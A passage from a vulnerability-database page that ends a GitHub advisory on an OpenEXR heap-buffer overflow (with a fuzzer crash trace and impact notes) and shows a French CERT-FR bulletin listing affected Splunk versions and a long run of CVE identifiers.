(/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n #5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n #7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\nSUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy\n==305348==ABORTING\n```\n\n## Impact\n\n- **DoS** \u2014 Any application that opens a crafted EXR file will crash immediately\n- **CWE-195** (Signed to Unsigned Conversion Error) \u2192 **CWE-122** (Heap-based Buffer Overflow)\n- Affects any application using an `IStream` implementation where `isMemoryMapped()` returns `true`",
"id": "GHSA-q6vj-wxvf-5m8c",
"modified": "2026-04-06T17:51:37Z",
"published": "2026-04-06T17:51:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26981"
},
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef"
},
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8"
},
{
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/openexr"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp"
}
CERTFR-2026-AVI-0281
Vulnerability from certfr_avis - Published: 2026-03-12 - Updated: 2026-03-12
De multiples vulnérabilités ont été découvertes dans les produits Splunk. Certaines d'entre elles permettent à un attaquant de provoquer une exécution de code arbitraire à distance, une atteinte à la confidentialité des données et une injection de code indirecte à distance (XSS).
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| Splunk | Splunk AppDynamics Private Synthetic Agent | Splunk AppDynamics Private Synthetic Agent versions 26.1.x antérieures à 26.1.0 | ||
| Splunk | Splunk AppDynamics On-Premises Enterprise Console | Splunk AppDynamics On-Premises Enterprise Console versions 26.1.x antérieures à 26.1.1 | ||
| Splunk | Splunk AppDynamics Database Agent | Splunk AppDynamics Database Agent versions 26.1.x antérieures à 26.1.0 | ||
| Splunk | Splunk Cloud Platform | Splunk Cloud Platform versions 10.0.2503 antérieures à 10.0.2503.12 | ||
| Splunk | Splunk Cloud Platform | Splunk Cloud Platform versions 9.3.2411 antérieures à 9.3.2411.124 | ||
| Splunk | Splunk Enterprise | Splunk Enterprise versions 9.4.x antérieures à 9.4.9 | ||
| Splunk | Splunk Enterprise | Splunk Enterprise versions 10.2.x antérieures à 10.2.1 | ||
| Splunk | Splunk AppDynamics NodeJS Agent | Splunk AppDynamics NodeJS Agent versions 25.12.x antérieures à 25.12.1 | ||
| Splunk | Splunk Enterprise | Splunk Enterprise versions 10.0.x antérieures à 10.0.4 | ||
| Splunk | Splunk Enterprise | Splunk Enterprise versions 9.3.x antérieures à 9.3.10 | ||
| Splunk | Splunk Cloud Platform | Splunk Cloud Platform versions 10.1.2507 antérieures à 10.1.2507.17 | ||
| Splunk | Splunk AppDynamics Java Agent | Splunk AppDynamics Java Agent versions 26.1.x antérieures à 26.1.0 | ||
| Splunk | Splunk Cloud Platform | Splunk Cloud Platform versions 10.2.2510 antérieures à 10.2.2510.7 |
| Title | Publication Time | Tags | |||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|||||||||||||||||||||||||||||||||||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "Splunk AppDynamics Private Synthetic Agent versions 26.1.x ant\u00e9rieures \u00e0 26.1.0",
"product": {
"name": "Splunk AppDynamics Private Synthetic Agent",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk AppDynamics On-Premises Enterprise Console versions 26.1.x ant\u00e9rieures \u00e0 26.1.1",
"product": {
"name": "Splunk AppDynamics On-Premises Enterprise Console",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk AppDynamics Database Agent versions 26.1.x ant\u00e9rieures \u00e0 26.1.0",
"product": {
"name": "Splunk AppDynamics Database Agent",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Cloud Platform versions 10.0.2503 ant\u00e9rieures \u00e0 10.0.2503.12",
"product": {
"name": "Splunk Cloud Platform",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Cloud Platform versions 9.3.2411 ant\u00e9rieures \u00e0 9.3.2411.124",
"product": {
"name": "Splunk Cloud Platform",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Enterprise versions 9.4.x ant\u00e9rieures \u00e0 9.4.9",
"product": {
"name": "Splunk Enterprise",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Enterprise versions 10.2.x ant\u00e9rieures \u00e0 10.2.1",
"product": {
"name": "Splunk Enterprise",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk AppDynamics NodeJS Agent versions 25.12.x ant\u00e9rieures \u00e0 25.12.1",
"product": {
"name": "Splunk AppDynamics NodeJS Agent",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Enterprise versions 10.0.x ant\u00e9rieures \u00e0 10.0.4",
"product": {
"name": "Splunk Enterprise",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Enterprise versions 9.3.x ant\u00e9rieures \u00e0 9.3.10",
"product": {
"name": "Splunk Enterprise",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Cloud Platform versions 10.1.2507 ant\u00e9rieures \u00e0 10.1.2507.17",
"product": {
"name": "Splunk Cloud Platform",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk AppDynamics Java Agent versions 26.1.x ant\u00e9rieures \u00e0 26.1.0",
"product": {
"name": "Splunk AppDynamics Java Agent",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Cloud Platform versions 10.2.2510 ant\u00e9rieures \u00e0 10.2.2510.7",
"product": {
"name": "Splunk Cloud Platform",
"vendor": {
"name": "Splunk",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2025-6395",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6395"
},
{
"name": "CVE-2018-16864",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-16864"
},
{
"name": "CVE-2025-48073",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48073"
},
{
"name": "CVE-2025-31651",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-31651"
},
{
"name": "CVE-2025-11219",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11219"
},
{
"name": "CVE-2026-21933",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21933"
},
{
"name": "CVE-2025-58183",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58183"
},
{
"name": "CVE-2026-21932",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21932"
},
{
"name": "CVE-2025-66199",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66199"
},
{
"name": "CVE-2025-53042",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53042"
},
{
"name": "CVE-2025-9231",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9231"
},
{
"name": "CVE-2025-1594",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-1594"
},
{
"name": "CVE-2025-3887",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3887"
},
{
"name": "CVE-2025-68973",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68973"
},
{
"name": "CVE-2025-4574",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4574"
},
{
"name": "CVE-2025-9714",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9714"
},
{
"name": "CVE-2025-10148",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-10148"
},
{
"name": "CVE-2025-14087",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14087"
},
{
"name": "CVE-2025-12433",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12433"
},
{
"name": "CVE-2025-12444",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12444"
},
{
"name": "CVE-2023-33201",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-33201"
},
{
"name": "CVE-2024-38286",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-38286"
},
{
"name": "CVE-2025-11213",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11213"
},
{
"name": "CVE-2025-8556",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8556"
},
{
"name": "CVE-2025-22872",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22872"
},
{
"name": "CVE-2025-12036",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12036"
},
{
"name": "CVE-2012-0871",
"url": "https://www.cve.org/CVERecord?id=CVE-2012-0871"
},
{
"name": "CVE-2025-4056",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4056"
},
{
"name": "CVE-2025-0913",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-0913"
},
{
"name": "CVE-2025-53062",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53062"
},
{
"name": "CVE-2025-0518",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-0518"
},
{
"name": "CVE-2025-69223",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69223"
},
{
"name": "CVE-2025-47907",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47907"
},
{
"name": "CVE-2025-12084",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12084"
},
{
"name": "CVE-2018-15688",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-15688"
},
{
"name": "CVE-2025-45582",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-45582"
},
{
"name": "CVE-2025-12438",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12438"
},
{
"name": "CVE-2025-6069",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6069"
},
{
"name": "CVE-2023-26464",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-26464"
},
{
"name": "CVE-2025-69419",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69419"
},
{
"name": "CVE-2025-24813",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-24813"
},
{
"name": "CVE-2025-12435",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12435"
},
{
"name": "CVE-2025-6075",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6075"
},
{
"name": "CVE-2013-4394",
"url": "https://www.cve.org/CVERecord?id=CVE-2013-4394"
},
{
"name": "CVE-2019-20386",
"url": "https://www.cve.org/CVERecord?id=CVE-2019-20386"
},
{
"name": "CVE-2025-64183",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-64183"
},
{
"name": "CVE-2025-13226",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13226"
},
{
"name": "CVE-2025-58185",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58185"
},
{
"name": "CVE-2025-47808",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47808"
},
{
"name": "CVE-2021-46877",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-46877"
},
{
"name": "CVE-2026-2391",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2391"
},
{
"name": "CVE-2017-18078",
"url": "https://www.cve.org/CVERecord?id=CVE-2017-18078"
},
{
"name": "CVE-2025-55752",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-55752"
},
{
"name": "CVE-2025-53905",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53905"
},
{
"name": "CVE-2019-17571",
"url": "https://www.cve.org/CVERecord?id=CVE-2019-17571"
},
{
"name": "CVE-2025-11207",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11207"
},
{
"name": "CVE-2021-35939",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-35939"
},
{
"name": "CVE-2025-13223",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13223"
},
{
"name": "CVE-2025-12431",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12431"
},
{
"name": "CVE-2026-23745",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23745"
},
{
"name": "CVE-2025-15467",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15467"
},
{
"name": "CVE-2024-58251",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-58251"
},
{
"name": "CVE-2025-9820",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9820"
},
{
"name": "CVE-2024-7246",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-7246"
},
{
"name": "CVE-2025-4598",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4598"
},
{
"name": "CVE-2026-21226",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21226"
},
{
"name": "CVE-2023-44487",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-44487"
},
{
"name": "CVE-2024-29857",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-29857"
},
{
"name": "CVE-2023-33202",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-33202"
},
{
"name": "CVE-2025-12726",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12726"
},
{
"name": "CVE-2025-12445",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12445"
},
{
"name": "CVE-2025-12437",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12437"
},
{
"name": "CVE-2025-15284",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15284"
},
{
"name": "CVE-2025-69230",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69230"
},
{
"name": "CVE-2025-49125",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-49125"
},
{
"name": "CVE-2025-50106",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-50106"
},
{
"name": "CVE-2025-14512",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14512"
},
{
"name": "CVE-2025-58057",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58057"
},
{
"name": "CVE-2025-8291",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8291"
},
{
"name": "CVE-2026-22795",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22795"
},
{
"name": "CVE-2026-21925",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21925"
},
{
"name": "CVE-2025-0716",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-0716"
},
{
"name": "CVE-2025-64718",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-64718"
},
{
"name": "CVE-2025-30754",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-30754"
},
{
"name": "CVE-2025-12434",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12434"
},
{
"name": "CVE-2025-69225",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69225"
},
{
"name": "CVE-2025-47910",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47910"
},
{
"name": "CVE-2025-12439",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12439"
},
{
"name": "CVE-2018-16865",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-16865"
},
{
"name": "CVE-2025-14874",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14874"
},
{
"name": "CVE-2020-17521",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-17521"
},
{
"name": "CVE-2024-54677",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-54677"
},
{
"name": "CVE-2025-48072",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48072"
},
{
"name": "CVE-2024-51744",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-51744"
},
{
"name": "CVE-2023-48795",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-48795"
},
{
"name": "CVE-2025-12432",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12432"
},
{
"name": "CVE-2025-6965",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6965"
},
{
"name": "CVE-2025-10966",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-10966"
},
{
"name": "CVE-2025-47906",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47906"
},
{
"name": "CVE-2026-20165",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-20165"
},
{
"name": "CVE-2025-59375",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-59375"
},
{
"name": "CVE-2025-22919",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22919"
},
{
"name": "CVE-2024-23672",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-23672"
},
{
"name": "CVE-2025-69227",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69227"
},
{
"name": "CVE-2021-33910",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-33910"
},
{
"name": "CVE-2025-69421",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69421"
},
{
"name": "CVE-2025-58188",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58188"
},
{
"name": "CVE-2025-48964",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48964"
},
{
"name": "CVE-2025-12443",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12443"
},
{
"name": "CVE-2025-4565",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4565"
},
{
"name": "CVE-2024-56433",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-56433"
},
{
"name": "CVE-2023-6602",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6602"
},
{
"name": "CVE-2025-11215",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11215"
},
{
"name": "CVE-2013-4393",
"url": "https://www.cve.org/CVERecord?id=CVE-2013-4393"
},
{
"name": "CVE-2019-3842",
"url": "https://www.cve.org/CVERecord?id=CVE-2019-3842"
},
{
"name": "CVE-2025-11205",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11205"
},
{
"name": "CVE-2025-55754",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-55754"
},
{
"name": "CVE-2025-12725",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12725"
},
{
"name": "CVE-2022-23305",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23305"
},
{
"name": "CVE-2025-11208",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11208"
},
{
"name": "CVE-2025-68161",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68161"
},
{
"name": "CVE-2024-8372",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-8372"
},
{
"name": "CVE-2025-22868",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22868"
},
{
"name": "CVE-2024-56337",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-56337"
},
{
"name": "CVE-2025-3360",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3360"
},
{
"name": "CVE-2026-22796",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22796"
},
{
"name": "CVE-2025-11756",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11756"
},
{
"name": "CVE-2025-59730",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-59730"
},
{
"name": "CVE-2025-61724",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61724"
},
{
"name": "CVE-2024-5642",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-5642"
},
{
"name": "CVE-2020-13776",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-13776"
},
{
"name": "CVE-2025-13033",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13033"
},
{
"name": "CVE-2022-23307",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-23307"
},
{
"name": "CVE-2025-61723",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61723"
},
{
"name": "CVE-2025-9232",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9232"
},
{
"name": "CVE-2025-11212",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11212"
},
{
"name": "CVE-2025-12495",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12495"
},
{
"name": "CVE-2025-61795",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61795"
},
{
"name": "CVE-2025-46394",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-46394"
},
{
"name": "CVE-2021-35937",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-35937"
},
{
"name": "CVE-2025-12840",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12840"
},
{
"name": "CVE-2025-52520",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-52520"
},
{
"name": "CVE-2025-61725",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61725"
},
{
"name": "CVE-2025-55163",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-55163"
},
{
"name": "CVE-2025-11458",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11458"
},
{
"name": "CVE-2020-1712",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-1712"
},
{
"name": "CVE-2025-32990",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32990"
},
{
"name": "CVE-2025-12429",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12429"
},
{
"name": "CVE-2026-20164",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-20164"
},
{
"name": "CVE-2025-48989",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48989"
},
{
"name": "CVE-2026-24842",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24842"
},
{
"name": "CVE-2025-11211",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11211"
},
{
"name": "CVE-2025-32989",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32989"
},
{
"name": "CVE-2025-22874",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22874"
},
{
"name": "CVE-2025-53069",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53069"
},
{
"name": "CVE-2026-23950",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23950"
},
{
"name": "CVE-2023-26118",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-26118"
},
{
"name": "CVE-2025-50059",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-50059"
},
{
"name": "CVE-2025-69228",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69228"
},
{
"name": "CVE-2025-59250",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-59250"
},
{
"name": "CVE-2025-14104",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14104"
},
{
"name": "CVE-2025-53044",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53044"
},
{
"name": "CVE-2025-47807",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47807"
},
{
"name": "CVE-2025-47806",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47806"
},
{
"name": "CVE-2025-47912",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47912"
},
{
"name": "CVE-2025-64182",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-64182"
},
{
"name": "CVE-2023-52428",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-52428"
},
{
"name": "CVE-2023-6604",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6604"
},
{
"name": "CVE-2025-48988",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48988"
},
{
"name": "CVE-2025-68160",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68160"
},
{
"name": "CVE-2022-3821",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-3821"
},
{
"name": "CVE-2017-9217",
"url": "https://www.cve.org/CVERecord?id=CVE-2017-9217"
},
{
"name": "CVE-2025-60753",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-60753"
},
{
"name": "CVE-2025-64181",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-64181"
},
{
"name": "CVE-2025-67735",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-67735"
},
{
"name": "CVE-2025-12436",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12436"
},
{
"name": "CVE-2022-42004",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-42004"
},
{
"name": "CVE-2025-13230",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13230"
},
{
"name": "CVE-2013-4327",
"url": "https://www.cve.org/CVERecord?id=CVE-2013-4327"
},
{
"name": "CVE-2025-58186",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58186"
},
{
"name": "CVE-2025-9086",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9086"
},
{
"name": "CVE-2025-12446",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12446"
},
{
"name": "CVE-2025-13228",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13228"
},
{
"name": "CVE-2013-4391",
"url": "https://www.cve.org/CVERecord?id=CVE-2013-4391"
},
{
"name": "CVE-2026-20166",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-20166"
},
{
"name": "CVE-2025-58187",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58187"
},
{
"name": "CVE-2025-12441",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12441"
},
{
"name": "CVE-2024-29371",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-29371"
},
{
"name": "CVE-2025-47183",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47183"
},
{
"name": "CVE-2025-13601",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13601"
},
{
"name": "CVE-2025-4673",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4673"
},
{
"name": "CVE-2023-6601",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-6601"
},
{
"name": "CVE-2018-16888",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-16888"
},
{
"name": "CVE-2025-58056",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58056"
},
{
"name": "CVE-2025-22871",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22871"
},
{
"name": "CVE-2025-69226",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69226"
},
{
"name": "CVE-2025-32988",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32988"
},
{
"name": "CVE-2025-13224",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13224"
},
{
"name": "CVE-2025-13042",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13042"
},
{
"name": "CVE-2024-34750",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-34750"
},
{
"name": "CVE-2025-11460",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11460"
},
{
"name": "CVE-2024-47081",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-47081"
},
{
"name": "CVE-2025-47913",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47913"
},
{
"name": "CVE-2025-13229",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13229"
},
{
"name": "CVE-2024-24549",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-24549"
},
{
"name": "CVE-2025-12440",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12440"
},
{
"name": "CVE-2025-58181",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58181"
},
{
"name": "CVE-2025-53054",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53054"
},
{
"name": "CVE-2025-11216",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11216"
},
{
"name": "CVE-2025-47914",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47914"
},
{
"name": "CVE-2018-1049",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-1049"
},
{
"name": "CVE-2025-69418",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69418"
},
{
"name": "CVE-2025-8114",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8114"
},
{
"name": "CVE-2025-15468",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15468"
},
{
"name": "CVE-2025-58189",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58189"
},
{
"name": "CVE-2025-55668",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-55668"
},
{
"name": "CVE-2025-11210",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11210"
},
{
"name": "CVE-2020-36518",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-36518"
},
{
"name": "CVE-2026-21945",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21945"
},
{
"name": "CVE-2022-31159",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-31159"
},
{
